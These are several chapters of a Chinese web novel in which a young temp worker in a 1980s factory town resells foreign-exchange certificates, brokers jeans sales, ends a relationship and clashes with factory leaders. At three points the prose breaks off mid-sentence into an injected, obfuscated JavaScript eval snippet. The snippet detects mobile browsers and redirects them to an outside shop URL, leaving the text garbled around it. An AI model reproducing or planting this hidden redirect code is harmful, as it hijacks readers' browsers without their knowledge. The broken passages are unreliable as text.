苏青禾愣了一下,这几天还真把赵向北这人给忘了,得尽快和他说清楚。 “梅子,青禾。”吴俊明看着两人走进,笑着打着招呼。 苏青禾笑着推了推孙梅,让她走到前面。 吴俊明是市外贸公司的职员,个子高高瘦瘦,戴着眼镜,看起来斯文精干,和健康活泼的孙梅站在一起,挺配的两个人,就是吴俊明家里条件不是太好,孙梅家一直卡着不同意。 吴俊明看着孙梅一直笑,孙梅拍了他一下,脸也有些红,“傻乐什么,东西带了吗?” “带了。” “青禾,给,你要的裤子。”吴俊明笑着递过一个网兜,里面是一条折叠整齐的牛仔裤,”正经广州货,现在最时兴的款式。” 苏青禾接过,摸了摸布料,看了看针脚和版型,心中有了点模糊的想法,“俊明哥,谢了。这种裤子,现在好卖吗?” “何止好卖!”吴俊明扶了扶眼镜,语气带着见识,“广州上海那边,大商场都抢着要!就是运到咱们这儿成本高了点。你们要有门路,弄点过去,不愁卖。” 苏青禾心念电转,立刻想到了服装厂仓库里那些积压的牛仔布和闲置的机器和那些绝望的工人。一个“来料加工”或者“贴牌生产”的点子瞬间成型。 苏青禾:“这说不定真是个机会。要是能说动红旗厂,用现有的料子和人,接下这种裤子的加工活,既能盘活库存,也能让工人有点急钱挣。” 孙梅眼睛一亮,兴奋地拍了下手:“对啊!这路子好!” 苏青禾却没有立刻附和孙梅的兴奋。她看向吴俊明,语气审慎:“俊明哥,这消息确实很关键,但有些细节我还想再跟你确认一下。” 苏青禾顿了顿,没有用专业术语而是用更具体的提问引导,“你刚才说广州上海那边商场都抢着要,具体是指国营百货大楼,还是新开的个体服装市场?” “他们对款式、尺码、交货时间有什么特别偏好吗?” “还有,如果真要做,从我们这儿把货发过去,走铁路零担运输,成本和时效大概是什么情况?” 吴俊明原本带着点闲聊意味的神情,在苏青禾这一连串具体、切中要害的问题下,不由得收敛了起来,变得认真了许多。他扶了扶眼镜,身体不自觉地坐直了些,不再是刚才那种分享见闻的姿态,更像是面对一个需要严谨对待的合作伙伴。 吴俊明半开玩笑的说道:“青禾,你很有做生意的天分啊,心思比我们单位那些老业务还细。” 苏青禾只是微微一笑,没有接话。她心里清楚,这不是什么天分,而是前世在无数个投资项目里锤炼出的本能。信息交叉验证,风险前置评估。 吴俊明这个人,热情、有门路,但言谈间偶尔流露的夸大和见识优越感,让她保留了最后一丝警惕。生意可以做,但所有的承诺和预期,都必须建立在白纸黑字的合同和可控的现金流上。 苏青禾问的仔细,吴俊明语气也郑重了不少,“我说的抢手,主要是指那些胆子大、脑筋活的个体市场摊主,他们追新款追得最紧。” “国营百货进货流程慢,卡得也严,除非有特别硬的关系,小打小闹的摊子可和他们耗不起。” “款式嘛,今年就这种直筒、微喇的最吃香,水洗、破洞、绣花的也有行情,尺码齐一点更好卖……” “交货时间他们当然希望越快越好,但质量不能差,线头多了都压价。” 吴俊明一边说一边仔细回想着,“走铁路零担的话,成本我得找人问问,但时间上,到广州怎么也得七八天。要是量特别大,走整车皮能便宜点。” 苏青禾认真地听着,不时微微点头,大脑飞速消化、分析着这些信息。 吴俊明的回答越具体,越印证了这个消息的可行性和潜在风险。她心里快速评估着,个体市场虽然进货灵活,但压价狠、风险自担,铁路运输成本和时间都是关键变量。 “我明白了,谢谢俊明哥,这些信息非常有用。”苏青禾心中有了初步的计较。 苏青禾冲吴俊明点点头:“这事有门,但里面的道道比我们想的要复杂。牵线的事先不着急,我们得先把厂里布料、设备、能动员的人手这些自家底细摸清楚,算出一个大概的成本和报价,红旗厂现在的可经不起折腾。” 孙梅见苏青禾如此冷静周全,也收起了之前的兴奋劲儿,连连点头:“对对对,是得先摸清家底,还是你想得周到!” 聊完牛仔裤,苏青禾想起之前吴俊明提过的事,状似无意地问:“俊明哥,你之前说外汇券的事,现在还有路子吗?” 吴俊明压低声音:“有啊。我们单位经常有人手头有闲散的券,想换成现钱用着方便,但身份摆着,不好自己去黑市折腾。你们要是想赚点差价的,我这边能凑到一些。” 孙梅之前就动过心,但一个人不敢,现在有苏青禾一起,立刻来了精神:“青禾,咱们试试?” 苏青禾略一思索,问:“量多大?怎么收?” “比面值高一点,比黑市价低一点收就行。我大概能凑个两三百块面额的。”吴俊明报了个数。 吴俊明补充道:“其实就是个辛苦差事,赚个跑腿钱,不犯忌讳。” 苏青禾略一沉吟,大脑已飞速完成推演。吴俊明单位的人有变现需求,但顾忌身份,她们作为中间渠道风险极低。收购价介于银行与黑市之间,利润空间明确,关键在于出手渠道必须安全高效,避免在黑市抛头露面。 苏青禾点点头,“好,这事可以做。”她干脆地定了调,对孙梅说:“梅子,本钱我们一人一半,赚了平分。”她又转向吴俊明说道:“俊明哥,麻烦尽快把券凑来,面额尽量分散些。我们不走黑市,有更稳妥的出手法子。” 苏青禾干脆利落的分析和部署,让孙梅和吴俊明都下意识地点了头。 三人分开,回去的路上孙梅好奇地看着苏青禾:“青禾,你以前可不敢干这个,现在怎么这么大胆了?” 苏青禾笑了笑,语气平静却坚定:“我要复习考大学,家里不可能给生活费,我得自己挣出路。” 孙梅有些吃惊,没想到都上班这么长时间了苏青禾居然还想着考大学,“呀,你还没放下这事儿呢。” 接下来的几天,苏青禾和孙梅联手,展现了惊人的行动力。她们没有像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372590|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙梅最初设想的那样去风险高的黑市,而是用外汇券在友谊商店精心选购了进口口红、香水和几条“大重九”香烟。 苏青禾的选品逻辑极其清晰,口红只要最显气色的正红,香水摒弃过于个性的香型,只挑接受度广的香型,香烟则是南北通吃的硬通货“大重九”。不求新奇,只求变现快、受众广。孙梅看着苏青禾目标明确的和售货员点着单,心底那点忐忑也迅速的消除了。 东西买完接下来就看孙梅的了,孙梅的堂兄在铁路机务段,关系网广,两人分工明确,配合默契。 孙梅负责牵线搭桥、介绍人情,苏青禾则负责展示商品、强调“友谊商店正品”的稀缺性与体面。她们精准地将口红和香水推销给几位爱时髦又有消费能力的女干部,将香烟递给几位好这口的男领导。加价12%,货物几乎在亮相的瞬间就被订下,顺利变现。 当两人再次提着印有“友谊商店”字样的手提袋从商店出来时,脸上都带着初战告捷的兴奋。恰在此时,迎面撞见了赵向北的母亲和姐姐赵向红。 赵向红眼睛尖,立刻酸溜溜地高声说:“哟!青禾!都买上友谊商店的东西了?可以啊!是我弟给你的外汇券吧?他可真是舍得!”赵向红一直对自己弟弟这个女朋友不满意,原因很简单,苏青禾太漂亮,他弟弟太宝贝这个女朋友了。自从赵向北和苏青禾谈恋爱赵向红能从自己弟弟手上拿到的东西就越来越少,不用问都知道其他的去了哪儿。 赵母端着架子,用挑剔的眼神看着苏青禾,皱了皱眉,“青禾啊,不是阿姨说你。年轻人要懂得节俭,向北挣点补贴不容易,你们以后日子还长,不能这么大手大脚。” 苏青禾脑中闪过原主那些关于婚后压抑、精打细算却毫无自我的碎片记忆,心中一阵厌烦。若是从前那个苏青禾,此刻怕是已手足无措,忙着自证清白。但此刻,她握着兜里还带着体温的钞票——那是她靠自己的头脑和胆识挣来的——只感到一种荒谬的可笑。 苏青禾脸上露出一个礼貌的微笑,目光平静地迎上赵母挑剔的视线:“阿姨,姐姐,你们误会了。这钱是我和孙梅正正经经的劳动所得,每一分都干干净净。” “至于怎么花钱,”苏青禾顿了顿,目光扫过赵母和赵向红,平静的说,“我们自有分寸。” 说完,苏青禾对孙梅使了个眼色,两人径直离开,将赵家母女尴尬地留在原地。 苏青禾她们没有注意到,马路对面,一辆黑色的伏尔加轿车缓缓驶过。 后座的车窗半降,周延璋的目光无意间扫过街边,恰好将苏青禾和孙梅提着明显是友谊商店商品的手提袋、与赵家母女交谈、然后坦然离开的一幕尽收眼底。 周延璋目光敏锐,一眼就看出那两个手提袋的分量不轻,绝非小打小闹。根本无需联想什么,以他的阅历和位置,对这类灰色地带的运作心知肚明。 周延璋瞬间就明白了这两个姑娘在做什么。 周延璋的眉头蹙了一下,那是本能地不喜。苏青禾的聪明劲用在这种地方,未免可惜,也太过冒险。 但随即,另一种情绪悄然浮起——在那样的家庭环境下,没有背景,没有资本,却能如此精准地抓住规则缝隙,这个苏青禾对于事务的敏感似乎并不仅限于数据统计上。 周延璋靠在椅背上,看着苏青禾和孙梅的身影彻底消失在街道。 胆大,心细,路子野。这个苏青禾…… “领导,回招待所吗?”前座的司机低声询问。 周延璋沉默了两秒,目光再次掠过窗外早已空无一人的街角,淡淡道:“嗯,回去吧。”周延璋将那抹复杂的思绪压下,重新归于沉静。 当晚,苏青禾直接约赵向北到了河边。 晚风吹拂着柳枝,月光洒在河面上,波光粼粼。 赵向北很意外苏青禾会来找自己,看着苏青禾明媚的脸庞,热切的说道:“青禾,我听说你去工作组帮忙了,还以为你这段时间都会很忙。” “赵向北”苏青禾拢了拢被风吹乱的发丝,清晰地说,“我们不合适。” 赵向北愣住了,脸上爽朗的笑容僵住,“青禾,你说什么胡话?我已经在区里找关系,准备帮你跑转正的事了……” “重点不是转正。”苏青禾摇头,目光平静地看着他,“你是国家干部,端的是铁饭碗,求的是安稳。” “而我,是一个临时工,我想的并不是转正,而是自己给自己挣一份未来。我们想要的日子,从根本上就不一样。” 赵向北无法理解,语气急切:“有稳定工作、有饭吃,把日子过好,还有什么不一样?” 赵向北想到了什么,问苏青禾:“是不是我妈和姐又说什么了?” “不是。”苏青禾打断他的猜测,语气斩钉截铁,“赵向北,分手只有一个原因,就是我觉得,我们不是一路人。”她看着他,眼神清亮、坚定,没有丝毫犹豫或留恋。 赵向北看着这样的苏青禾,眼神陌生又耀眼,他喉结滚动了一下,所有挽留的话都堵在了喉咙里。 苏青禾知道赵向北不是个坏人,对之前那个苏青禾的喜欢也是真心实意,放软了语气低声说道:“赵向北,对不起。” 赵向北张了张嘴,终究是什么话也没能说出来。 苏青禾这个态度让赵向北明白两人之间已没有转圜余地。最终,他艰难地点了点头,嗓音沙哑的说了句:“……青禾,保重。”说完,落寞地转身,脚步略显踉跄地消失在夜色里。 苏青禾独自站在河边,深深吸了一口带着水汽的清凉空气。 斩断旧关系,迈出新一步,她的路,才刚开始。 苏青禾知道,这只是第一步。在这个年代,一个女人要挣脱命运的轨道,需要两样东□□立的经济,和不受摆布的人生。而这两样,都要从钱和知识开始。 5. 第 5 章 清晨,红旗服装厂那间临时会议室里,空气有些沉闷。 连续几天的高强度工作,让在座的人都透出几分疲惫,哈欠一个接一个地传染开来。刘主任、周延璋等几个有喝茶习惯的人,杯里的茶叶也越放越多。 工作组晨会正在进行。 周延璋坐在主位,听着刘主任关于安置补偿测算进度的汇报,眉头微锁。进展是有的,但按这个流程走下去,等方案批复、资产清算完成,补偿款真正发到急需用钱的工人手里,将是一段漫又长难熬的时间。 那些家里有重病患者、等钱交学费的家庭,这段时间怎么过? 就在昨天,又有工人家属到工作组哭诉,家里老人等着钱买药,孩子开学在即……时间的压力,像一根越来越紧的弦,周延璋就是工作组个子最高的那个,这些压力必须是他来顶。 周延璋不由得想起苏青禾那份关于短期生产自救的设想。或许,是时候认真考虑一下这种能解燃眉之急的办法了。 “周组长,我有个想法。”苏青禾的声音打破了会议室里沉默的气氛。 众人循声望去,是坐在角落的苏青禾。她站起身,将手里一条折叠整齐的牛仔裤放在桌子中央。 “这是目前广州、上海那边最流行的牛仔裤款式,水洗磨白,直筒微喇。”苏青禾的目光扫过众人,语气平稳地补充着关键信息,“消息是孙梅同志的朋友、在外贸公司工作的吴俊明同志带来的,据说那边商场都抢着要。关键是,这种裤子,我们厂里积压的牛仔布料完全能做,设备也适配。” “苏青禾同志,请详细说说。”周延璋开口,声音平稳,听不出急切。 苏青禾走到墙边挂着厂区地图的黑板前,拿起粉笔:“根据我了解到的信息,这种款式的牛仔裤在南方供不应求。而我们厂仓库里积压的牛仔布,足够生产上万条。”她在黑板上写下几个数字,“关键是款式。如果我们还生产以前那种老掉牙的直筒裤,肯定卖不出去。按吴俊明同志的说法今年就这种直筒、微喇的最吃香,水洗、破洞、绣花的也有行情。” 会议室里工作组人员相互间小声的交流起来。 红旗厂的张书记忍不住问道:“小苏同志,想法是好的,但销售渠道呢?咱们厂的东西,以前就是太土气才...” “渠道可以找。”苏青禾说完,询问的眼神落到周延璋脸上,见他没有异议,继续说道,“现在最大的问题是,我们有没有决心改变?安置方案出台需要时间,但这期间工人要吃饭,要稳定。生产自救,是目前最快见效的办法。” 苏青禾的话戳中了痛点。 工作组的人纷纷点头,开始热烈讨论起来。周延璋始终没有说话,他靠在椅背上,目光落在苏青禾身上。这个女孩又一次让他意外——昨天还在倒卖外汇券,今天却能站在这里,条理清晰地分析厂里的生产自救方案。她身上有种矛盾的特质:既务实得近乎精明,又带着一种超乎年龄的格局。 “技术风险和销售渠道,你有几分把握?”周延璋突然开口,会议室立刻安静下来。 苏青禾迎上他的目光,坦然的摊了摊手:“我听到的只是单一渠道的信息。具体的市场调研、技术可行性、成本核算,还需要工作组组织专业力量详细评估。我只能保证,我带来的信息是真实的。” 周延璋的唇角勾起一个笑容,坐在他身旁的刘主任不自觉的又看了看苏青禾,心想,这个小苏同志很懂得保护自己嘛,严谨得不像个临时工。 周延璋开始安排任务:“张书记先和打板的师傅研究一下苏青禾同志带过来的款式,老刘带技术科的人一起参与。小陈去财务科核对一下布料、配件的数量。苏青禾同志,你把了解到的市场情况写个详细报告。” “散会。” 三天后,成都荷花池市场。 苏青禾和孙梅一下长途车,就被人流裹挟着涌进了这个西南地区最大的批发市场。空气中弥漫着新布料的浆水味、汗水味和各种小吃摊飘来的麻辣香气,嘈杂的讨价还价声、三轮车的铃铛声、喇叭里循环播放的“厂家直销”叫卖声混成一片。 两人在迷宫般的通道里穿行,一个个摊位看得孙梅眼花缭乱。 一路走来,专卖牛仔裤的摊位不算多,规模都不大。 直到两人走上三楼,一个几乎占据了三联铺位的超大摊位出现在两人眼前,整个摊位挂满了各式牛仔裤,像一面蓝色的布墙。 摊主是个穿着时髦衬衫的中年男人,正和几个提着蛇皮袋、一看就是大批发商的人高声谈价,对零星问价的散客根本无暇理会。 “我的天,这么多!”孙梅咋舌,拉着苏青禾就要往前凑。 “梅子,等等。”苏青禾一把拉住孙梅。 “怎么了?这摊子最大,货最全,不去问问?”孙梅急道。 苏青禾摇摇头:“你看他挂出来的版型,少说有十几款,但仔细看,吴俊明说的水洗、破洞、绣花这些时髦元素很少,版型也偏老。这说明他的货源偏向大众保守款,走量为主,但对最新潮流不敏感。” 苏青禾抬了抬下巴,示意孙梅看摊主正在接待的客人:“你再看他谈生意的架势,都是几十条起批,零买他根本不理。我们手上这点钱,就算全砸进去,最多能在厂里拿个两百来条,就算全部转手卖给他,在他眼里也是小打小闹,不会给我们好脸色,更不会认真谈。” 孙梅仔细一看,果然如此,不由得佩服苏青禾的观察力:“那怎么办?白跑一趟?” “当然不白跑。”苏青禾嘴角微扬,目光扫过市场其他区域,低声和孙梅解释着:“成都的牛仔裤市场需求旺盛,而且批发生意火爆。但我们的优势不是量大,是新和快。吴俊明带来的最新款式,就是我们的敲门砖。我们得找一个需要好款式、但进货量没那么大、能坐下来跟我们好好谈的买家。” 两人接连问了几家,要么是嫌她们的样式太新,表示看不懂不敢碰,要么是觉得她们的量太少跑不起量。 就在孙梅有些气馁时,苏青禾眼角余光瞥见一个提着大编织袋的男人,正拿着一条和她们手中样品极其相似的牛仔裤,向另一个摊主推销。 苏青禾眉心一跳,这是有竞争者! 但紧接着,苏青禾看到那个摊主只是随意翻了翻,便不耐烦地挥了挥手。因为离的不远,苏青禾看清了那人编织袋里的样品,版型、做工和面料,远不如她们手中的正版广货。 虚惊一场,却也印证了市场对新款式的渴求与混乱。 她们一路走过,看到好些铺面还是在零星的卖牛仔裤,但是款式数量都不多,主要接一些零售客户,有好几家孙梅都想上前,但都被苏青阻止了“不合适。” “青禾,我们到底要找什么样的买主?”孙梅疑惑 苏青禾,指向一个摊位,这个摊位也不小,但是没有那家专卖牛仔裤的大。 摊主是个三十出头的男人,正在把墙上的牛仔裤取下来递给买主。摊位上的牛仔裤比其他零星的多,但也存在样式不够时髦款式单一的问题,但摊位前却围了不少人。 “走,去这家看看。” 孙梅觉得这家和之前的没有什么区别:“为什么选这家?” 苏青禾快速的说道,“他挂出来的版型有七八种,说明他愿意尝试新款式。但每种版型只有一两条,说明他的供货渠道不稳定。再看挂着的那些裤子,虽然款式老,但面料是扎实的劳动布,说明他对品质有基本要求。” 孙梅恍然大悟:“所以他是我们要找的人?” “试试看。”苏青禾整理了一下身上那条从广州带来的新款牛仔裤,走了过去。 “老板,这裤子怎么卖?”苏青禾拿起一条裤子,手法专业地揉搓面料, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372591|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 检查车线。 摊主吴建国抬头,看到是个年轻漂亮的姑娘,报了个不高不低的价:“十五块一条,不还价。” “老板,你这裤子是去年的款式了吧?”苏青禾故意挑剔着,“现在广州上海都流行这种。”她指了指自己身上的裤子。 吴建国这才认真打量起苏青禾身上的裤子,“姑娘身上这条是广货吧。” 苏青禾点头肯定,把带来的另外一条裤子递了过去,“老板好眼力,您看看这个。” 吴建国手法熟练地揉搓面料、检查针脚、比对版型,越看眼睛越亮:“你们手上有货?有多少?” 孙梅适时插话,“我们有亲戚常驻广州,做服装的,不然也拿不到这么正版的货。”她这话半真半假,“这次是第一批,量不多,先探探路,价格好商量。” “什么价?”吴建国又仔细看了看手上的牛仔裤。 “老板您是行家,一看就知道这版型和做工的价值。”苏青禾捧了一句。 接下来的半小时,苏青禾和吴建国展开了一场激烈的价格拉锯战。得益于这些天在红旗服装厂没日没夜地核对数据,苏青禾对一条裤子从裁片到成品的成本早已烂熟于心。 吴建国刚报出一个低价,她便能立刻报出用料、工时、损耗的明细,报出一个让吴建国眼皮直跳、却又无法轻易反驳的价格。 “吴老板,劳动布现在什么行情我清楚,里衬、拉链、铆钉一套下来多少钱也有数。我给您报的这个价,里头的利润空间,已经很有搞头了。”苏青禾主料辅材的价格门清,工时也是算的明明白白,让吴建国感觉像是在跟一个干了十几年的老销售过招。孙梅则在旁边默契帮腔,时而翻出裤脚展示细密的针脚夸赞质量,时而比划着版型说这款式在南方有多抢手。 一个步步为营,一个见缝插针。最终,双方以每条十二块八的价格达成了初步意向,吴建国首批要二百条。 回程的火车上,孙梅兴奋地算着她们能凑出来的钱:“青禾,咱们所有的钱加起来,按你估计的进价也就能进一百七十条。吴老板说要二百条呢!” 苏青禾:“差的不多,找人借点儿。” “找谁?” “吴俊明。”苏青禾转头看孙梅,眼里带着笑意,“他肯定愿意帮你。” 孙梅脸了红,捶了她一下,倒也没反对:“我去找他说说。” 苏青禾的好心情只维持到了家门口,回到家,等待她的不是喜悦,而是一场暴风雨。 王秀兰铁青着脸坐在屋里。 今天王秀兰在街上遇到赵向北的母亲,被对方阴阳怪气地嘲讽了一通,才知道女儿竟然擅自和赵向北分手了。 苏青禾刚进门,王秀兰就开始发作,“苏青禾!你长本事了是不是?分手这么大的事都不跟家里商量!” 王秀兰越说越气,“你知不知过了这个村就没这个店了,赵向北这样的条件你还不满意,你这是要上天啊!” 听完王秀兰的一顿输出,苏青禾既不愤怒也不激动,只是看着两人,平静的说:“爸,妈,我和赵向北不合适,我要考大学。” “考大学?”王秀兰伸手就要去戳苏青禾的脑袋,却被苏青禾躲开了,“你发梦呢?都退学了,怎么考?再说家里哪来的钱供你读书?” “学费生活费我自己挣。”苏青禾语气坚定,“我不会影响苏向阳读书,也不会让家里出一分钱,当然我读大学这几年也没有工资贡献给家里。” 苏青禾的话让王秀兰愣在了原地,哑了火,整个屋里陷入了死寂。 苏志刚抬起头看着自己这个女儿,嘴唇动了动,最终什么也没说。 苏向阳在书桌前咬着笔,扭头看着自己姐姐,他想起当初父母坚持让姐姐辍学时,姐姐哭红的眼睛。而现在的姐姐只是平静的站在那里,语气坚定的说着自己要考大学。 6. 第 6 章 第二天,红旗服装厂。 车间里的缝纫机在停摆了几个月后被踩的嗡嗡作响,工人们正在赶制第一批牛仔裤,苏青禾直接到厂长办公室找到了张书记。 “……二百条?现金结算?”张书记听到苏青禾的要求,吃惊地瞪了瞪眼,身体不自觉地往后靠了靠,摆着手道,“小苏同志,你的想法是好的,但厂里有规定,不能私下走账,这个口子不能开啊……” “现金结算,厂里马上就能拿到钱。”苏青禾的声音不高,却字字敲在张书记心坎上,也敲在他紧绷的神经上。 “有了这笔钱,李师傅的爱人就能交上手术押金,张姐的孩子明天就能把学费揣进书包。”苏青禾见张书记还在迟疑,又补了一句,“张书记,工作组联系的渠道,可是要货卖出去才能回款,工人们等得起吗?” “张书记,规定是死的,人是活的。”苏青禾敢开这个口,是因为她在统计数据的时候见过厂里有这样的操作,有先例。 “厂里现在最要紧的,是让机器转起来,让工人看到希望。工作组的目的也是这个。”苏青禾知道张书记的顾忌,补充了一句。 张书记看了眼苏青禾,那表情仿佛今天才真正认识了这个居委会的临时工,指了指她道:“12块一条,给你拿二百条。” 苏青禾笑了,从包里拿出一个笔记本,翻到一页,指给张书记看,“张书记,我算过了,” 苏青禾将笔记本推过去,指尖点着一行行清晰的数据,“每条裤子用料1.5米,布料是积压的库存,按残次布处理,成本最多3元。人工、水电、设备折旧摊销下来,2元顶天了。加上给厂里留出合理的利润空间,每条定价7元是公平价。您开口就要12元,这……不太合适吧?” 张书记脸色一下就不好了:“你懂什么!厂里还有管理成本...” “管理成本应该摊入日常费用,不该转嫁给急等钱用的工人。”苏青禾可不会被张建国给唬住,“这二百条裤子的货款,至少能解厂里那些家庭的燃眉之急。虽然现在有工作组扎在厂子里,但天天守在您家门口的工人可是一个都没少。” 苏青禾见张建国的眉毛抖了抖,接着说道:“现金结算,厂里马上就能拿到钱,你给的这个价可太不诚心了。” 张建国沉默了,他盯着苏青禾看了很久,最终长叹一口气:“小苏啊小苏,你真是...罢了,就按你说的办。不过要保密,不能让别人知道。” “谢谢张书记。”苏青禾露出了真诚的笑容。 第一批牛仔裤顺利交货后,苏青禾和孙梅又跑了两趟成都。 吴建国对裤子的质量很满意,陆续又下了几个小订单。随着一条条牛仔裤流出厂门,一沓沓现金流入苏青禾手中,厂里的风言风语也开始悄然蔓延。 最先察觉到不对劲的是孙梅。这天中午她专门去红旗厂找了苏青禾,两人走到厂门外面,孙梅压低了声音说道:“青禾,现在外面有人在传,说你和省里工作组的周组长勾结,要贱卖红旗厂的地皮,中饱私囊。” 苏青禾小道消息没孙梅灵通,听到孙梅的话愣了一下。 “我估摸着这些传言多半是有人眼红咱们卖牛仔裤挣了钱编排出来的。”孙梅分析道,眼里有些担心,“现在传成这样,我们最后订的那批货还能去厂里拿吗?” “为什么不能拿,我们现款现货,又没占红旗厂一分钱便宜。”苏青禾也认同孙梅对谣言来源的分析,“这些人可真能编,还卖地皮,我真有那么大能耐倒好了。” 苏青禾比孙梅有更具体的猜测,谣言的源头只能是那些看到她频繁出入长办公室、用现金提货的厂领导们。 “这些人,一天到晚不想着怎么改进生产、开拓销路,就知道搞这些歪门邪道。”苏青禾语气有些冷。 苏青禾:“这事儿我来处理。” 苏青禾走进红旗厂,看了眼厂长办公室,她没有选择硬碰硬,本就是些谣言,没有实质的证据的东西。 苏青禾去了会议室,只有周延璋一个人,正在看文件。 听到有人进门,周延璋抬头,见是苏青禾,冲她微微点了点头。 “周组长,有件事需要向您汇报。”苏青禾走过去,坦然地将厂里的谣言和自己的猜测和盘托出,包括她现金拿货的事情。 周延璋安静地听着,眼神落认真的落在苏青禾的脸上。直到她说完,他才问:“你把裤子卖到哪儿?” “荷花池市场,正规商户,个人所得通过市场进行了合规申报。”苏青禾回答。 听到苏青禾把收入还进行了申报,周延璋挑了挑眉,心里意外也不意外。这个苏青禾做事似乎一直都很稳妥,不符合她年龄阅历的稳妥,他已经有些习惯她的不一样了。 周延璋的目光审视着苏青禾,说出的话却是出人意料:“和你之前倒卖外汇券一样正规?” 苏青禾心中一惊,第一个反应是周延璋调查过自己。 苏青禾没有掩饰自己的惊讶,迎上周延璋的目光,语气坦荡而锋利:“周组长,我需要钱,合法地、尽快地搞到钱。倒卖外汇券是,现在卖牛仔裤也是。” “为什么?”苏青禾说的直白,周延璋也就直接的问了,他了解到的苏青禾家庭情况虽然不宽裕,但也不算特别局促。而且似乎苏青禾本人还已经有了一个条件不错的结婚的对象,这样的年轻姑娘不应该这么急切的想要挣钱才对。 “因为——”苏青禾顿了顿,声音清晰坚定,“我要攒钱考大学。” “考大学?”周延璋挑眉,他看过苏青禾的档案,“据我了解你高中并未毕业,准备怎么考?” “所以我在拼命……”苏青禾的目光落在周延璋的脸上,坦诚的说道:“档案是死的,人是活的。” “我需要一个机会,一个能让我公平坐在考场上的机会。”苏青禾的眼神很明确的告诉周延璋,他自己就是苏青禾嘴里的机会。 周延璋有些讶然,他不清楚苏青禾是依据什么判断自己是能给她机会的人。 “我以为你人生轨迹的下一段会是婚姻。”周延铮说完稍稍蹙了蹙眉,有些不满意自己竟然说出了这样的话。 苏青禾看到周延璋那个蹙眉,心里便明白了七八分——他确实查过自己,而且查得还不浅。但那又怎样?苏青禾笑了笑,明媚又灿烂,“分手了。” “周组长,我努力的发挥作用就是希望红旗厂安置事件结束后,组织上能给我一个参加高考的机会。”苏青禾丝毫不避讳的承认自己这段时间的表现是有所图,而不是单纯的贡献,她确定周延璋是个做事讲究公平的人,用自己这段时间的表现换一个高考机会,这样的要求并不算出格。 苏青禾眼神热切的看着周延璋,语气坚定诚恳,“周组长,我想接受更好的教育,想看看更广阔的世界……” “我不想一辈子做个临时工。” 这一刻,周延璋在苏青禾眼中看到了一种熟悉的东西——野心。 不是对金钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“报仇不过夜。”苏青禾微微一笑,表情狡黠又坦荡,“他们传谣言中伤我,我就用事实说话。这些数据或许不够把他们送进去,但足够让他们安分一段时间。这些人占着位置不干事,还内耗,不清算他们,厂子真正的自救就无从谈起。” 周延璋愣住了,他也是见过各种举报的人,但如此干脆利落、用数据说话的反击,还是第一次见到。这个苏青禾的报复方式,都是如此的准确又高效。 周延璋还没来得及做出进一步的反应,苏青禾却忽然笑了。不是平时那种礼貌疏离的微笑,而是发自内心的、开心的笑声。周延璋这才意识到,自己刚才的表情一定很精彩。 “周组长,”苏青禾歪着头,眼里闪着光,“您慢慢看,我能保证这些数据的准确性。” 苏青禾笑着道别,转身离开。 门关上的瞬间,周延璋抬手揉了揉眉心,本想维持严肃,但嘴角那抹压不住的笑意却泄露了真实情绪。 好一个报仇不过夜,还是用这种……如此专业的方式。 周延璋笑着摇摇头,目光落回那叠厚厚的表格上,眼神变得深邃。这个苏青禾,还真是一次又一次地出乎他的意料。 而走出办公楼的苏青禾,迎着傍晚微凉的风,深吸了一口气。扳回一城的畅快感和周延璋那个转瞬即逝的、近乎无奈又带着欣赏的笑容,在她脑海里清晰回放。 原来那个总是喜怒不形于色、仿佛一切尽在掌握的周组长,也有这样……生动鲜活的一面。而周延璋那个笑容似乎比扳回一城更让苏青禾有一种奇特的愉悦。 7. 第 7 章 红旗服装厂的仓库里,空气闷热而凝重,今天是工作组召开的最后一场会议,是全厂工人们一起参加的大会,也是宣布最终处置方案的会议。 工人们黑压压地挤在仓库里,汗味和焦虑的情绪在空气中发酵。 周延璋站到了临时搭起的主席台后,他身姿挺拔,没有拿讲稿,目光缓缓扫过全场,原本嘈杂的会场渐渐安静下来。 “同志们,”周延璋开口,声音不高,却清晰地传到每个角落,“经过工作组这段时间的调查、核实,在与厂领导班子充分沟通后,报请上级批准。” “关于红旗服装厂的改制安置方案,现在正式公布。” 周延璋语速平稳,条理清晰,逐条宣读方案。 方案的新核心内容是严格按照档案工龄核算补偿金,杜绝一刀切。对经核实的有重病、残疾、唯一收入来源等特殊困难职工家庭,给予额外的补偿系数加成。所有补偿明细张榜公示,接受全厂职工监督。 台下鸦雀无声,只有某些角落传来压抑的抽泣声——那是绝望中看到一丝光亮后的释放。 最后,周延璋话锋一转,语气变得冷峻,“关于原厂领导班子在此次改制前期工作中的失职、渎职问题,经查证,情况部分属实。” “现决定,厂党委书记张建国同志、副厂长李为民同志,对改制前期工作准备不足、应对失当,负有主要领导责任,给予党内警告处分,暂留原职,以观后效。” 这个处分,说重不重,说轻不轻,属于雷声大,雨点小。 